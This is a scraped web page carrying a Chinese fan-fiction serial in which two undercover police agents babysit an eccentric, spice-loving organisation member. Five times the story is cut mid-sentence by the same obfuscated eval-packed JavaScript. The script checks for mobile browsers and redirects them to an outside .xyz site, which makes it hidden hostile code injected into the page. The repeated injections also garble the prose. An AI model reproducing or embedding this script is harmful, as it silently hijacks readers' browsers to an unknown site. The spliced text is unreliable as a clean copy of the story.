;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909759|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降谷零留下来撬锁,诸伏景光则是去找附近的住户还有公寓管理员询问关于田纳西的具体情况。 田纳西的门锁安装的是时下防盗性能最强的门锁之一,没有钥匙的情况下想要打开比较费劲,还需要一定的蛮力破门,前者对降谷零来说只是耗费时间的问题,后者发出的声音如果田纳西本人在家一定能听到有反应,除非他失去了意识或者干脆不在家。等降谷零终于破门而入后,室内确实空无一人。 至于撬锁之前给伏特加发的邮件也得到了回复,降谷零早就查看了,却没有得到多少有效的信息,只好继续撬锁,试图探查田纳西的踪迹。 「联系不上田纳西?你和绿川去打探田纳西的情况,一定要确定田纳西的位置和安全情况,必要时可以采取特殊手段,一切以保证田纳西的安全为首要准则。」——伏特加。 而诸伏景光则是满脸凝重地回来了,一双蓝瞳满是复杂,“安室,公寓管理员说田纳西被警察带走了。” “啊?”就算是降谷零也呆滞了一瞬,警察?警察带走了田纳西?还有这种好事?不是,降谷零赶紧摇了摇头,什么好事,要是田纳西真进去了,说不定伏特加和琴酒一声令下就要让他们营救田纳西。 要是警察真能从田纳西那里得到有用的情报也就罢了,可以公安的风格,田纳西真被抓了不可能让公寓管理员知道,而且降谷零身为公安卧底,也不可能一点蛛丝马迹都不知道。 “我们得想办法救出田纳西,把他从警署捞出来。”诸伏景光面露难色,他虽然设想过某一天会为了组织成员和警察对上的情况,可眼下真的遇到,对象还是那个田纳西威士忌,还是觉得不太真实,莫名有种串台的感觉。 无论如何,身为卧底,他们的行动能力还是很强的。知道田纳西的去向,立刻展开行动,开始调查,顺着田纳西被警察带走时的目击人,以及附近发生的案件,找到最近的警署,确定了田纳西的位置。 “你们是原月见的朋友?”警署的警察狐疑地看了降谷零和诸伏景光一眼,不过没有多说,只是秉持公事公办的语气回答:“不好意思,现在嫌疑犯还在接受调查,如果是亲友麻烦稍等片刻。” 降谷零和诸伏景光通情达理地点点头,不过还是忍不住打听具体的发展,降谷零问道:“他为什么有涉嫌杀人案的动机?” 被问到的警察动了动嘴唇,眼神略显微妙,但还是好心的给出了答案:“他和受害者有过口角,并且说如果看不惯就决斗。案发时受害者有过和人搏斗的痕迹,原月见的不在场证明不够充分,虽然还有其他的嫌疑人,不过现在都被带到警署接受审问。” “什么口角?”诸伏景光追问。 “……因为草莓麻婆豆腐。”警察面色诡异,“他们在争论草莓麻婆豆腐到底好不好吃。” 降谷零:“?” 就这?这也能发展成争吵?眼下还成了作案动机。 警察看出了他们的情绪,咳了咳,“当时的情况比较紧急,受害者喝了酒,原月见也不甘示弱,现场差一点就演变成了搏斗。双方都是同一座公寓的住户,加上受害者性格比较暴躁,不排除私下约架的可能。” 13.第 13 章 场面一时陷入了诡异的沉默,诸伏景光露出了尴尬而不失礼貌的微笑,“原来如此,谢谢您的解释,不过我相信他不会做出杀人的事,接下来警察很快就能还他清白。” 这话诸伏景光担保的就分外违心了,他可不相信组织成员的底线和人品,但都以犯罪嫌疑人的朋友身份来了,表面还是要装装样子,总不能直接说田纳西不是好人吧。 降谷零弄清前因后果后,也是对田纳西无话可说了。田纳西造的孽,惹出的麻烦,现在都要他和hiro扫尾,这让降谷零在心里又给田纳西狠狠记了一笔。 时间一分一秒的过去,降谷零和诸伏景光都想好了要真是田纳西干的,他们要怎么和伏特加交代。虽然这种事看似很弱智很低级,按理来说田纳西身为组织代号成员不至于这么离谱,可联系之前田纳西给他们留下的印象,田纳西不是完全没有可能干出这种事。 就当他们俩人一时之间连怎么从警局劫人、找替罪羔羊或者找律师替田纳西开脱等一系列方案都考虑了一遍后,合上的门扉终于被打开了,灵敏的听力让降谷零和诸伏景光第一时间抬眼望去,一个黑发金眸,年纪介于少年和青年之间的人推开门,“江口警官,我已经录完笔录了,刚刚真正的凶手也找出来了,现在可以离开了吧?” “找到凶手了?”刚刚一直招待降谷零和诸伏景光的江口警官下意识问出了心理话。 “是受害者的女朋友。”原月见没有兜圈子的爱好,“渣男脚踏多条船,现在翻车了,就是可惜了那位女士,为了不值得的人要去体验监狱生活了。” “啊,是吗?” 原月见继续感慨:“所以说智者不坠爱河,远离恋爱保平安,我选择单身真是选对了,东亚的谋杀案中情杀可是占了近乎一半的比例。” 江口警官只好露出工作人士尽量维持的稳重神色,“您说的确实有几分道理。” “就是她选错了人,想要栽赃到我身上。”原月见微微蹙眉,“不过冒充我进行一番乔装打扮,趁着夜色下黑手干掉出轨的男友倒是有胆量,这渣男真会选女友,刚好碰上学过近身格斗的人,就算没有我,她也有很多机会下手吧,只是我的出现刚好给了她一个借口。” 说完,原月见似乎才终于注意到了等着他的两个见过的“新面孔”,他面带笑容,看起来似乎十分高兴,语气热情:“安室,绿川,你们不愧是我的朋友,现在也不忘来看我,比某些不靠谱的同事强多了!” 降谷零忍不住腹诽,什么朋友,表现得还那么亲热,田纳西分明只看过他们的资料,谢天谢地,至少这家伙还正儿八经的看了他们的照片,记住了长相,现在能一眼认出他们,不至于之前塑造的朋友身份立马被戳穿。 要不是现在在警署,降谷零毫不怀疑田纳西会直呼组织成员的代号,而不是拿“某些同事”指代,好歹田纳西还记得这点。 “今天辛苦了,原,我们送你回家吧。”诸伏景光表现熟稔,语气关切,似乎他们真的是认识许久的好友。 目送他们离开,江口警官只觉得充满了不协调感。两个看起来成熟稳重,历经职场的人,和一个表现得像是才上大学的人是朋友,总有种差了辈分的感觉。 离开警署后,没等降谷零帮忙拉开白色马自达RX7的后车门,原月见就自来熟的上前一步,主动拉开车门坐在后座。 “安室,你和绿川坐前面吧。” 没有了献殷勤拉近关系的机会,降谷零毫不失落。他大大方方的坐在驾驶座,诸伏景光则坐在副驾驶,他们隐晦的通过后视镜观察原月见的表情变化。 刚坐上车绑好安全带,原月见就掏出了手机,噼里啪啦的打字,似乎无心和他们交流。 降谷零本想等原月见停止打字的动作后开口,谁知道好半天原月见都还在盯着手机屏幕,等到了红绿灯路口停下的时候,降谷零才仔细瞄了原月见的动作,无语的发现他是在玩手机小游戏。 “田纳西,我们之前去公寓找你,发现你不在家,不得已的情况下联系了伏特加,使用了非常手段进入了你家,调查你的下落。”诸伏景光采取了语言的艺术,听取了之前降谷零透露出了情报,没有使用多余的敬语。 反正田纳西说过让他俩好好沟通,这些情报也算不得机密,尽量顺着田纳西的喜好来,算是符合田纳西透露出来像是享乐主义的作风。 “你们闯了就闯了,好歹不是小偷,没有偷我的钱。”原月见终于放下了手机,不在意的摆了摆手。 “本来我还想安装智能门禁系统,不过刚搬过来还没多久就碰到了炸弹案,总感觉这里住不长久,暂时也就没安,安室,你没有弄坏我的监控摄像头吧。”原月见开口问道。 监控摄像头不能少,他安装了好几个,主要是为了做不在场证明用的,要不然在家待的好好的,又被诬陷成犯罪嫌疑人,他总得减少浪费在证明自己清白上的时间。 “没有,都保存的很完好,没有中断过监控。”降谷零谨慎回答,他当然注意到安装在田纳西家里的摄像头,但看安装的位置有的明显,有的隐蔽,看起来像是田纳西自己安装的,他也不出这个霉头一一去拆,顶多待会有空汇报一下情况意思意思。 “那就成,这些摄像头对我有大用。”原月见满意的点了点头。 “是为了保证安全,防止情报泄露吗?”诸伏景光问道,虽然问的深入,但也能拿好奇来糊弄糊弄,能有机会套出情报,还是要抓住。 如果能确定田纳西目前是否处于危险之中,或许能利用机会让公安抓捕田纳西使其失踪,再把这个锅扣在别人身上。 如果有有用的情报,他们也可以在去田纳西的公寓时想办法打探具体信息。 “只是为了不在场证明,一方水土养一方人,这里简直是犯罪之都,我也得入乡随俗,做点打算。” 诸伏景光:“……” 他可是对田纳西在警署拒绝恋爱,保持单身的宣言历历在目,如今又听了这一番话,诸伏景光深刻怀疑田纳西是不是世界观有问题。 但余光看到降谷零胸口的起伏后,诸伏景光意识到田纳西的连番发言已经在挑战自家发小的神经了,他连忙开口:“或许只是意外,毕竟一般人碰到案件的概率还是很小的,许多人一生都和案件扯不上关系。” “是吗?我不信。”原月见丝毫没有附和的想法,直白的回答击碎了诸伏景光想要缓和气氛的初衷。 诸伏景光:“……” 这人的情商是不是有问题?还是做人就真的这么嚣张?伏特加和琴酒是不是太顺着他了? 看起来像是没有步入社会的大学生,这做事的风格简直许多中学生都要比他稳重。 诸伏景光又看向降谷零,试图用眼神告诉对方冷静。 不过降谷零能力还是在线的,即使听到了组织成员如此的诋毁,表面上也看不出太大的情绪波动,也就是一向了解他的发小诸伏景光察觉到了变化,降谷零露出一个毫无破绽的微笑:“是啊,犯罪率居高不下,证明了警察的无能,更有利于我们组织的发展。” 完了,zero的怒气已经被点燃了,诸伏景光在心中无奈扶额,不过还是维持着表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919152|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的平静,“确实如此。” 谁知原月见却摇了摇头,“你们就不能说日本警界一点好话吗?就是因为你们这样想法阴暗的人太多,给警察的工作带来了更多的麻烦,影响了破案率。” 降谷零:“……” 不是,这人怎么有脸说呀?脸皮真就这么厚?田纳西这是不是有自恋人格倾向?觉得他自己说什么都是对的,非得再踩别人两脚抬高他自己是吧? 这几天替田纳西打杂的记忆迅速闪过降谷零的脑海,他只觉得自己握着方向盘的手越来越硬,要是换成在警校的时候有人跟他这么交流,他早就为了维护警察的名誉和对方约架了。 但眼下的他不是警校的一员降谷零,而是组织成员安室透,他必须要忍,只好忍气吞声:“你说的对。” 似乎没有感受到这隐藏在海面下的火山,原月见面带微笑,语气轻快:“安室,绿川,你俩关系真好呀,相处看起来很默契呢,我什么时候也能拥有你们这样的朋友?” 被提到的两人心中皆是一凛,降谷零说道: “只是之前任务合作过,相处有些经验而已。” “只要你愿意,我很乐意成为你的朋友。”诸伏景光则是应和了田纳西的话。 原月见似乎只是随口一提,很快又将注意力放在车窗外的景象,“快要到下班的点了,不好,安室,你加快一下速度,我可不想被堵车堵在这里。” “好。”降谷零踩了踩油门,在即将超速的边缘试探,加快了速度。 虽然降谷零很想一声不吭直接加速,但想了想田纳西还是他们的上司,还是提前说了句话当做通知。 “田纳西,案件是什么情况?伏特加要我之后回复他。”降谷零问道,虽然根据之前在警署的对话,可以拼凑出个大概,但他还是想要再了解一下,“你成为嫌疑人的动机真的是因为一时的争辩吗?” 身为卧底,降谷零还是忍不住疑心,或许田纳西没有那么单纯,某些事的背后还是有其深意。而且草莓麻婆豆腐属于种花麻婆豆腐在日本的本土化的菜式,如果能确定田纳西真的讨厌这道菜,或许能探查出他的国籍。虽然口味不决定一切,但也可以做侧面论证。 “那是异端!”原月见郑重其辞,像是在说地球围绕着太阳转一样斩钉截铁,“麻婆豆腐只能是麻婆豆腐,我绝不许有人玷污这一道菜!” 他连草莓这个词都不想联合在麻婆豆腐一起说。 降谷零:“……” 确定了,田纳西对麻婆豆腐是真爱,根本听不得草莓这个词。 随着降谷零的加速,其他车辆的身影很快被甩在了后面,车窗外面的景象就像电影提高的倍速,在降谷零的一路飞奔下,很快就回到了原月见的公寓。 降谷零和诸伏景光任劳任怨的把之前因为原月见的突然失踪而没有完全带到公寓的东西重新拿出来,帮他放到公寓里,一边又不断思考原月见之前的问话。 他们哪里出了破绽,让田纳西看出了苗头,还是说田纳西只是随口一说,并未放在心上。 直觉上他们凭借田纳西之前留下的印象,觉得对方十分不靠谱,未必真的察觉到了。但理智上又想田纳西不可能就这么水,好歹也是组织代号成员,多少有两把刷子,有几分本事在身。 原月见一点也不客气,连连指挥他们把东西都放在哪里,好不容易等他们收拾完,原月见大手一挥,“好了,安室你可以走了,绿川,你今晚就留下来吧。” 这话一出,降谷零和诸伏景光内心不约而同猛的一紧。 田纳西到底还想干什么? 14.第 14 章 这么忙活了一天,天色已经昏暗,正是上班族下班回到家里的时候。原月见此话一出,降谷零和诸伏景光觉得他们晚上怕是睡不好觉了。 但眼看原月见摆出了赶客的架势,降谷零不好再说什么,只得礼貌的道了个别,满怀疑虑的离开了。 没等诸伏景光想说什么,就看到原月见站在原地,视线久久望向降谷零离开的方向,表情陷入了沉思。 田纳西又想到了什么?这个疑惑不等诸伏景光想办法试探,就听见原月见开了口,语气充满疑惑:“我记得伏特加给的资料上写着安室透是日本人,这个你们确定了吗?我看他长得怎么也不像日本人啊。” 诸伏景光:“……安室是混血,不过国籍确实是日本人。” “好吧。”原月见好像勉为其难的接受了这个解释,“我还寻思着如果他是卧底,到底算是日本公安还是美国CIA呢。” 被这席话扔了个惊雷,诸伏景光面色不变,只是回答:“如果安室有疑点表明他是卧底,我会及时向你汇报。” 原月见耸了耸肩,“卧底这种事你去找伏特加和琴酒吧,就他俩天天喊着抓卧底,尤其是琴酒,真是疑心病到魔怔了,上次我给他推荐心理医生,他居然举枪对着我,真是好心没好报,琴酒太没良心了。” 系统忍不住在原月见的脑海中发问,「有没有可能,琴酒确实是疑心病,但你也是被害妄想症,你俩好像都没有好到哪里去吧,说这话是不是有点五十步笑百步?」 原月见充耳不闻,泰然自若。 还不知道原月见精神状况的诸伏景光不想落人口舌,谨慎回答:“得到线索我会第一时间向你和琴酒汇报。” 田纳西可以光明正大的吐槽琴酒,但不代表他也能这样干,诸伏景光毫不怀疑,他要是有半点赞同田纳西的意思,田纳西转头就能向伏特加和琴酒卖了他。 而且如果真听田纳西的话,不向田纳西汇报只是汇报给琴酒,说不定田纳西又会觉得他目中无人,趁机再给他穿小鞋。 虽然相处时间不久,但诸伏景光怎么看都觉得田纳西不像正常人,不能完全用正常人的脑回路来揣测田纳西。 “算了,大晚上的就不要提琴酒了,有点晦气。”原月见想到之前在琴酒手底下干活,天天晚上给他发些琐碎的任务,就不打算再提琴酒让自己不快了。 诸伏景光沉默以对,短暂的相处已经让他意识到田纳西是一个相当以自我为中心的人,最好不要反驳他的话,但是有些喜恶鲜明的言论还是不要表态。 “好了,绿川,接下来是你的时间了。”金色的眸子闪闪发亮,眼睛的主人一瞬不瞬的看向诸伏景光,顿时让诸伏景光压力倍增。 想到现在的时间,以及之前田纳西和他沟通时的内容,诸伏景光心领神会,这是想让他先展示一下厨艺。 “我随时可以开始。”诸伏景光回答,由于之前田纳西给的清单列表里已经包含了需要用到的相关物品,眼下工具齐全,食材备好,只需要他开始下厨。 不过田纳西表现的这副样子,倒是有了点孩子气的表现,像是小学生饥肠辘辘的在放学之后奔回家里,手上拿着筷子敲着碗,随时准备上菜吃饭的样子。 诸伏景光不知道田纳西的期待值到底有多高,如果他做的不符合对方的口味,田纳西又会给出什么反应。既然箭在弦上不得不发,他也干脆的接过了这项工作。 “你想吃些什么?”诸伏景光问道。 谁知这一问,好像把原月见问住了。只见他埋头思索,苦苦想了好一阵。 最终原月见长叹一口气,像是放弃了挣扎,“绿川,你不是擅长家常菜吗?做完之后都撒上一层辣椒吧。” 诸伏景光:“?” 原月见善解人意的回答:“之前不是让你们去买了几个牌子的辣椒酱吗,待会儿你拆上其中的一瓶,直接倒进去就好。” 这个诸伏景光当然有印象,原月见给的那几个牌子在日本并不常见,他和zero跑了好一阵才从唐人街买回来的。 诸伏景光委婉问道:“如果你有什么口味上的要求可以跟我提,我会适当做出调整。” “日本的家常菜实在太清淡了。”原月见表情惨淡,似乎是想起了不堪回首的记忆。 他向来喜欢重油嗜辣,但是在这里待的水土不服,吃不惯日本料理。他本人的厨艺又只能说是能吃不死人,没法指望。吃久了实在有些受不了,而且在外面买来量还少,他一份吃不够,还得多买几份。 原月见对绿川唯没有太大的指望,只会做日式的家常菜没关系,他多撒点辣椒酱也能吃。反正他吃外卖是吃吐了,老往饭店跑还容易一头扎进案件里。 “还有我不想吃生食,剩下的你看着做吧。” 反正再怎么着绿川唯要比他强,有的吃就不错了,要什么自行车,在这点上原月见没有太苛刻。 诸伏景光进了厨房,这不是他第一次来了,之前帮原月见收拾厨房的时候就已经见到了。厨房分外干净,没有多少油烟,锅炉厨具没有使用过的痕迹,崭新的被整齐摆放在一边。 只是片刻的思考,诸伏景光就拿定了主意,熟练的系上了围裙,开始进行工作。厨房传出细微的声响,原月见百无聊赖的坐在客厅,复盘今天发生的事情。 「你现在倒不怕别人下毒毒死你了,让人直接进你家。」 「每次我满怀期待走向饭店,结果多数以凶杀案结尾,我都感觉我快被老板拉上黑名单了。」原月见神情凝重,「当然,重点不是黑名单,是我眼睁睁的看着摆在我面前的美食,因为莫名其妙的缘由没有办法吃完,这才是最痛苦的!只能看不能吃,分明就是酷刑。」 「 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936036|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以你先降低期待值,找个便宜厨子糊弄一下吗?」系统扒拉了脑海里诸伏景光的资料,至少这次原月见没有看走眼,这位卧底厨艺还是在行的。 「你怎么认为安室透和绿川唯关系不错的?」系统怀疑地问道,它担心原月见搞事,别把两人好好的卧底任务都给搞黄了。系统自认口风很紧,但架不住摊上了原月见,不免疑神疑鬼,生怕原月见给它搞个大的。 「他们眉来眼去的,想看不出来都不行吧。」原月见漫不经心,「我怀疑他们在背后偷偷说我坏话增加友情,这一定是跟伏特加学的。」 「……你有自知之明啊,还老是这么干,不怕哪天他们给你穿小鞋,任务里趁机做掉你吗?说好的谨小慎微呢?」系统都感觉上个怨种宾加没这么做简直是奇迹,诡异地产生了祸害遗千年的想法。不过原月见命这么硬也是件好事,至少系统不用提心吊胆了。 原月见嗤笑一声,「等他们有这个本事的时候再说吧,不过我喜欢看他们恨得牙痒痒又干不掉我的样子。」 这性格有够恶劣的,不过系统转念一想,至少原月见这样就不会天天戳它什么时候能回到原本的世界了,省去了很多应付他的精力。系统又一遍默默敲了敲自己的电子木鱼,衷心祈祷伏特加他们长命百岁,继续让原月见玩、啊不,是和原月见打交道。 厨房的位置蔓延出食物的香味,诸伏景光忙活完手头的工作,抬眼便看到原月见目光炯炯有神地盯着他,不,更准确的说是他即将完工的晚餐。诸伏景光表面不显,可内心跟打了个惊雷没有区别,全靠卧底的演技在支撑。 来到田纳西家里,诸伏景光一直高度警惕,注意观察周遭的情况。明明他前一眼还没看到田纳西,结果就是片刻的功夫,一抬头就看到田纳西悄声无息的出现在原本无人的位置,脚步比猫还要轻盈,仅凭听觉他都没有察觉到田纳西的存在。只能说这不是在上演鬼故事,诸伏景光心理素质过硬,陡然看见流露出那种像是中了亿万彩票,眼睛放光的田纳西,只是寒毛直竖,还能维持表面的波澜不惊。 “绿川!”原月见的眼神闪闪发光,其中的情绪实在过于显眼,让诸伏景光本来组织好的话语卡壳了一瞬,便被原月见的下一句话横冲直撞到云霄之外了。 “以后你就是我在这个世界上最好的朋友了!就算是琴酒想要干掉你都不行。” 诸伏景光无言以对,要不是他现在手上空不开,他都怀疑田纳西会激动地像是小狗扑倒他的面前握住他的手不断摇晃了。 ……田纳西那么好收买吗?还是说对方的感情真的很廉价,不把其他人当回事,轻易就能说出这种话?还有这副宛若小狗见到了骨头的神情,诸伏景光倍感微妙。 听到田纳西的后半句话,诸伏景光本来放松一些的心脏又悬了起来,什么叫做琴酒想要干掉他?田纳西又是什么意思? 15.第 15 章 这一天和田纳西实际上相处的时间并没有那么长,可诸伏景光莫名身心疲惫,大脑像是放在了滚筒洗衣机里翻来覆去不得安宁。受到的刺激太多,神经拧成了一团,诸伏景光感觉田纳西要是再刺激下去他都有点麻木了。 ……和田纳西交流真的很累。 “……琴酒是什么情况?”诸伏景光撑起精神,继续和原月见沟通下去。 “我和你说过了,绿川,琴酒他有疑心病。”原月见长叹一口气,脸上甚至浮现出了假模假样的悲情,“唉,可能是琴酒实在病的太重,他甚至不肯承认自己有病。算了,谁叫我那么好心,还不是要包容他?下次我会继续给他推荐心理医生的。” 这副表演实在有些浮夸,诸伏景光想象田纳西对琴酒说这话的场景,要是琴酒一个忍不住,他和zero就要换一个上司了。 “他会把每个人都怀疑一遍,有时还会宁可错杀不可放过,嗯,说不定还会下个黑手把自己看不顺眼的人干掉。”原月见说得轻描淡写,注意到诸伏景光终于空出了手,晚餐已经一一摆好,只差端到客厅里去,便殷勤地上前帮忙。 “不过绿川你就放心吧,谁让你是我的好朋友呢。”原月见言笑晏晏,诸伏景光一时无法判断这究竟是不是实话。 既然原月见这番表态,诸伏景光还是客气的微笑回答:“谢谢你的心意,田纳西。”并默许了原月见的主动,没有包揽全部的工作。 直觉让诸伏景光选择由着田纳西的想法来,没有必要他不会选择违逆田纳西的心意。毕竟诸伏景光现在只是个组织的底层成员,又不是伏特加这种代号成员,有资格跟田纳西叫板。就算是伏特加,大部分时间也是顺着田纳西,憋屈的摸样就算是诸伏景光都忍不住同情几秒。不过现在轮到诸伏景光他自己应对田纳西,也就无暇怜悯伏特加了。 田纳西对琴酒的判断看似随意,掺杂了浓厚的个人情绪,有失偏颇。可诸伏景光仔细思量,又觉得不尽然。但是真的会有人用如此随意的口吻说出重要的情报吗?诸伏景光盯着原月见真切的笑容,从中流露的情绪如同漂浮的云雾,乍一看真实存在,伸手一碰却触不到半天实体。 和诸伏景光七上八下的心情不同,原月见十分愉悦。他本来对这个新人不含指望,但没想到对方居然对日式的家常料理做出了变动,利用买来的新鲜辣椒和成瓶的辣椒酱调味,在佐料的作用下制出的成品不再是那种清汤寡水了。虽然远不如原月见来到这个世界之前吃惯的风味,不过他现在也不挑了。而眼前的新人虽然没有粗暴地在最终的成品上按照他的话倒上辣椒酱弄成拌饭的效果,进行了调整,但这番变动让原月见分外满意。 “我看你要了那些牌子的辣椒酱,猜测你喜欢吃辣,所以自作主张买了些调味料。”诸伏景光解释道。 看得出来田纳西不会做饭,给他们的清单上涉及到的食材说的笼统,只是些肉类和蔬果,诸伏景光推测了田纳西喜欢的口味提前做了功课,如今倒是派上了用场。田纳西是个朴实的辣党,虽然他搞不明白好好的组织成员为什么不出去吃,田纳西按理来说不缺钱。 “绿川,你做得很好。”原月见毫不吝啬夸赞,并在心中把绿川的地位提拔成好用的下属,是比之前的那些搭档更好用的工具人。 原月见拍了拍一旁的沙发,“你也还没吃饭吧,绿川,一起来吃吧,别客气,你可是今天的大功臣。”说完,他又去冰箱拿出一瓶冰可乐留给自己,另一瓶冰牛奶留给了诸伏景光。 诸伏景光接过原月见递过来的冰牛奶,关于对方竟然这么贴心的做法有些微妙。诸伏景光相信,如果不是他做了这顿饭,原月见绝对不会提起让他吃饭,还会记得很多日本人对辣椒的适应性有限,特意准备解辣的冰牛奶,而是把他丢到一边。 “只是举手之劳。”诸伏景光回答,不去接田纳西口中大功臣的这句称赞。 他和zero因为田纳西的事忙了好几天,到了今天也不得安宁,结果田纳西其实完全没放在心上。只是因为他的一顿饭才有了改观,如果zero知道这件事,诸伏景光都能想象出自家发小的反应了。 不过看到田纳西埋头吃饭,没有在餐桌上和他交流的意思,诸伏景光还是松了口气。他实在不想应付田纳西了,比和琴酒打交道还要累。 ……还真的是个辣党啊。再一次确信这点后,诸伏景光百感交集,虽然知道田纳西能为麻婆豆腐和草莓麻婆豆腐之争而闹得不可开交,很可能喜欢吃辣,但看到一个组织代号成员,会为了区区口腹之欲而喜形于色,全然没有诸伏景光想象中组织成员的一贯作风,田纳西更像是个生活在象牙塔中的大学生,想法简单直白,似乎从不藏着掖着。 或许能从田纳西这里挖出有用的情报,想到这点诸伏景光又觉得这几天受的苦不算什么,都是值得的。 如果系统知道诸伏景光的想法,一定会对他肃然起敬,然后苦口婆心,告诉他别中原月见的邪,这不值得。 等到原月见吃完后,诸伏景光自然地接过了收拾餐具的任务,而原月见面不改色,任凭诸伏景光操持这一切。 打开厨房的水龙头,诸伏景光一边洗着碗筷,一边说道:“那我待会就离开了,田纳西。” 面上虽然平静,可诸伏景光却十分专注,等待原月见的回答。一般组织成员都不会留另一个组织成员留宿,但诸伏景光不敢用常理来揣测原月见。 原月见却大大方方地给出了答案:“好啊,绿川,你走吧,我也不想家里留个男人。不过你别忘了之后送饭,一天来一次就够了,我会每天给你发邮件告诉你第二天来的时间。” 原月见的语音刚落,诸伏景光绷着的神经才放松了许多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946648|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他动作迅速又利落地收拾完一切,就简单地和原月见告别离开了。 注视着诸伏景光离去的背影,原月见喃喃自语:“他是把我当洪水猛兽了吗?” 系统无语,「你这不是很清楚吗?不过好歹知道不要那么过火,放他离开。」 不过系统却在心中对诸伏景光升起敬佩之心,至少从表面看,诸伏景光举止得体,一般人无法从中挑出毛病。奈何原月见实在眼尖,硬生生从诸伏景光的举动中读出了泄露的部分情绪。 这点宾加就做不到,向来喜形于色。不过系统每次看到原月见踩着宾加的底线跳舞,也忍不住肃然起敬。 它的宿主能在这个插满死亡flag的世界里苟到今天,还时不时作死一把,也是一种本事。 “我还是知道可持续发展的道理的。” 「……这句话不是这么用的。」 一直没收到原月见回信的萩原研二又一次的收好手机,结束了和周围同事的一阵交流后下班准备离开。而松田阵平则没那么幸运,他得留下来值班,爆|炸|物处理班不可能二十四小时有人空缺,夜间也得有人留守。 一直没找到机会报答对方,萩原研二略感无奈,一向在交友场上无往不利的他,碰到这样的闭门羹,心情难免复杂。不过萩原研二没有就这样被打击到,反而作出了决定,坚持不懈,一定要找到机会。 开着的车不自觉地就来到了曾经遇到过爆炸案的公寓,萩原研二抬头看了眼那座建筑,有些好笑自己的执拗这么强烈。正当他打算离开时,却见到一个青年身穿黑色休闲外套,戴着兜帽和口罩,提着几包垃圾袋,看样子是正准备扔垃圾。 ……怎么说呢,虽然一切看起来好像很正常,但奈何这副打扮真的很可疑。天色昏暗,灯光有限,把自己遮的严严实实,萩原研二作为警察,再发散下思维,很难不怀疑到其他地方。 秉承负责的原则,萩原研二迅速找地方停了车,打开车门走向那个青年,对方已经打算离开,见到有人凑到跟前搭话,那张掩盖在兜帽下的脸终于露出了一部分。 猝不及防和那双金色的眸子对视,萩原研二却想起了水谷前辈和他提到的一个人的长相,黑发,金眸,年纪二十岁左右,如今全都对上了。 萩原研二注意到对方目光流露的警惕,似乎只要他做出可疑的举动,下一秒就会进行自卫。不等思维做出决断,萩原研二的身体就先做出反应,露出熟稔的笑容,笑眯眯地打招呼,“你好,我是萩原研二,你是原先生吗?我想找个机会报答你的救命之恩很久了,今天终于见到你了。” “我是原月见。” 黑发金眸的青年给出了回答,还没等他继续开口,萩原研二就抓住机会,先一步提出邀请,打断了对方还未出口的拒绝。 “那你愿意参加一场单身联谊吗?” 16.第 16 章 黑色半长发的警官紫色的眸子带着笑意,脱出而出的邀请起到了效果,原月见本来的拒绝又咽了下去,狐疑的观察对方。 “你是认真的?”原月见语气微妙,在日本人中这么自来熟的性格还是少见的。拜良好的记忆力所赐,他对萩原研二这个名字还有印象,没有扔到大脑的回收箱里。 “认真的,非常认真。”生怕说一遍不够表示诚意,萩原研二又说了一遍,细细打量原月见的反应。 对方遮的太严实了,看不到完整的长相。不过仅凭露在外面的部分,完全无可指摘,放到人群中完全足够成为那百分之一的部分。 半晌,萩原研二才听到了原月见的回答,“好吧,我会去的。” 这是原月见第一次被邀请参见以相亲为目的的单身联谊会,他多少有点新奇。既然碰到这个机会,他也就干脆答应了。 “那你介意我叫你小月见吗?” “既然你想那么叫,那就随你。”原月见眨了眨那双金色的眸子,“你之前有我的邮箱,那么联谊的时间地点你发给我就好。” 萩原研二热情回应:“没问题,小月见,到时候我可以来接你。” 原月见不想和过于热情的人打交道,怕粘在身上就不容易甩掉。但如果碰到有趣的事情,原月见也不介意尝试一番。 系统欲言又止,「你还真打算去参加吗?日本好像20岁才成年吧?」 